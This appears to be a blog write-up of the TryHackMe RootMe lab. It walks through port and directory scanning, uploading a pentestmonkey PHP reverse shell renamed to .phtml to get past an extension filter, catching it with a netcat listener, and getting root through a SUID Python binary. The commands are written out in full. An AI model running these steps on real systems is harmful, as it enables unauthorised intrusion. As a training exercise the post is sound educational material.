October 28, 2026
RootMe! Room Escaped Two Ports Later.
a little explanation for this title:
By reaverbox
6 min read
a little explanation for this title:
I had to switch ports and target IP to be able to complete this activity, and there I succeeded!
Setting Up
RootMe is meant to walk us through a full attack chain on a beginner-friendly box: scan it, find the weak spot, get a shell, then escalate to root. Instead of using TryHackMe's browser-based AttackBox, I connected through my own Kali VM over OpenVPN. The AttackBox works fine for short rooms, but it comes with a time limit, and I didn't want to be mid-upload or mid-exploit when it logs me out. I downloaded my personal .ovpn configuration file from the room's access page, ran it from my VM, and double-checked the tunnel was actually up by looking at my tun0 interface before doing anything else.
sudo openvpn - config ap-south-1-reaverbox-regular.ovpnsudo openvpn - config ap-south-1-reaverbox-regular.ovpn
ip a show tun0ip a show tun0
Part 1 โ Reconnaissance
The first move on any box, no matter how simple it looks, is to scan it. I ran nmap -sC -sV against the target so I'd get both the default enumeration scripts and the service versions in a single pass โ there's no point guessing what's behind a port when the tool can just tell you.
nmap -sC -sV 10.49.144.227nmap -sC -sV 10.49.144.227
SSH turned up on port 22, and there was a web server running Apache โ that's the pair this room is actually built around, and it matches the first task question, which just asks how many ports are open.
With a web server in the picture, the next logical step is to see what's hiding behind it. I pointed ffuf at the target using the lowercase SecLists wordlist we've used in earlier modules, since RootMe is the kind of box that hides its entry point behind an undocumented directory instead of putting it on the homepage.
ffuf -u http://<target-ip>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txtffuf -u http://<target-ip>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
That turned up /panel/, a directory that wasn't linked anywhere else on the site. Visiting it in the browser showed a plain file upload form โ no login, no explanation, just a Browse/Upload pair sitting there. That's basically a sign pointing straight at a file upload vulnerability.
Part 2 โ Getting a Shell
A raw file upload form is only a problem if the server isn't actually checking what gets uploaded. The plan was to upload something that hands me command execution instead of an image, so I grabbed pentestmonkey's classic PHP reverse shell.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.phpwget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
I opened it in nano and swapped the placeholder IP and port for my own. The IP came straight from the tun0 interface I'd already checked, and I picked a port from the 5000โ9999 range since those are usually free and unlikely to clash with anything else running on my machine.
nano php-reverse-shell.php
$ip = '192.168.148.92'; // CHANGE THIS
$port = 7777; // CHANGE THISnano php-reverse-shell.php
$ip = '192.168.148.92'; // CHANGE THIS
$port = 7777; // CHANGE THIS
Uploading it as a plain .php file got rejected outright, which told me the server was filtering by file extension rather than actually inspecting the content. The usual workaround for that is renaming it to something that still gets executed as PHP by the server's config but doesn't match the blocklist โ in this case, .phtml did the trick.
mv php-reverse-shell.php shell.phtmlmv php-reverse-shell.php shell.phtml
Before touching the upload button, I set up a listener so I wasn't racing the server. nc -lvnp on my chosen port just sits there waiting for the target to call back out to me, which is the whole idea behind a reverse shell โ instead of me connecting in, the shell connects out, and that tends to slip past firewalls that only block inbound connections.
nc -lvnp 5500nc -lvnp 5500
The panel reported a successful upload, and checking /uploads/ confirmed shell.phtml was actually sitting on the server.
Clicking the uploaded file is what actually triggers it โ the server runs it as PHP, and the script immediately tries to call back to my listener. My first attempt went nowhere; the browser just hung and then showed a connection-refused message, which usually means the listener isn't up yet or the target has moved out from under you.
Turns out port 7777 just wasn't cooperating, so I went back into the script and switched it to 5500 instead โ I didn't grab a screenshot of that particular edit, but that's the version that ended up working. The target IP also shifts in a couple of the screenshots here, since the room's time limit caught up with me mid-exploit and TryHackMe handed me a fresh IP once it reset. Once the listener, the script, and the current target address all matched up, the connection finally landed.
whoami confirmed I was www-data, which is exactly what you'd expect from a web server's own service account rather than an actual logged-in user. From there it was just a matter of finding the flag โ a quick find for user.txt pointed me to /var/www/user.txt, and reading it gave me the first one.
whoami
find / -name user.txt 2>/dev/null
cat /var/www/user.txtwhoami
find / -name user.txt 2>/dev/null
cat /var/www/user.txt
Part 3 โ Privilege Escalation
www-data is still a pretty limited account, so the next step is finding some way to run commands as root even though I only ever "logged in" as a nobody. One of the oldest tricks for this is to look for SUID binaries โ files that run with the permissions of whoever owns them, instead of whoever's actually executing them. If root owns an SUID binary that can be abused into spawning a shell, that shell inherits root's privileges along with it.
find / -user root -perm /4000 2>/dev/nullfind / -user root -perm /4000 2>/dev/null
Searching with find / -user root -perm /4000 turned up the usual handful of system binaries, plus one that really doesn't belong there: /usr/bin/python. A SUID bit on an actual scripting language interpreter is a big red flag, because interpreters are flexible enough to do pretty much anything โ including spawning a shell of their own.
I checked GTFOBins for Python's SUID escape and ran it. The one-liner has Python import the os module and exec a shell directly, so that shell runs with whatever privileges Python itself was running under โ and since Python had the SUID bit set, that privilege was root's.
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami came back as root, which confirmed it actually worked. From there, the same find-and-cat routine that got me the user flag got me the root flag too, this time out of /root/root.txt.
find / -name root.txt 2>/dev/null
cat /root/root.txtfind / -name root.txt 2>/dev/null
cat /root/root.txt
Task Answers
For reference, here's what I actually submitted on the room for each task, matching the steps above.
Takeaways
The biggest thing RootMe reinforced for me is that "validation" on the client side, or even a lazy server-side check that only looks at a file extension, isn't real validation. The actual fix would've been checking the file's content or using a strict allowlist instead of a blocklist. On the privilege escalation side, it's a good habit to check for SUID binaries early, and GTFOBins is basically a cheat sheet for turning an SUID bit on a common binary into a root shell. Small habits like checking my tunnel before starting and setting up the listener before uploading also saved me time, since a reverse shell is useless if nothing's actually listening on the other end when it calls back.